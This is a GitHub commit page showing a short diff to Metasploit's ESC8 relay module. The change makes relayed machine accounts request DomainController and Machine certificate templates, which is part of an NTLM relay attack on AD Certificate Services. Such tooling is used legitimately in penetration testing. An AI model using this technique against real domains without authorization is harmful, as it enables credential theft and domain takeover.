Skip to content

Commit 3f8db70

Browse files
committed
Change behavior of 'AUTO' mode to attempt to get a cert based on DomainController and Machine templates
1 parent 90ad8b6 commit 3f8db70

File tree

1 file changed

+4
-2
lines changed
  • modules/auxiliary/server/relay

1 file changed

+4
-2
lines changed

modules/auxiliary/server/relay/esc8.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -107,11 +107,13 @@ def run
107107
def on_relay_success(relay_connection:, relay_identity:)
108108
case datastore['MODE']
109109
when 'AUTO'
110-
cert_template = relay_identity.end_with?('$') ? 'Computer' : 'User'
111-
retrieve_cert(relay_connection, relay_identity, cert_template)
110+
cert_template = relay_identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User']
111+
retrieve_certs(relay_connection, relay_identity, cert_template)
112112
when 'ALL', 'QUERY_ONLY'
113113
cert_templates = get_cert_templates(relay_connection)
114+
114115
unless cert_templates.nil? || cert_templates.empty?
116+
print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
115117
print_good("Available Certificates for #{relay_identity} on #{datastore['RELAY_TARGET']}: #{cert_templates.join(', ')}")
116118
if datastore['MODE'] == 'ALL'
117119
retrieve_certs(relay_connection, relay_identity, cert_templates)

0 commit comments

Comments
 (0)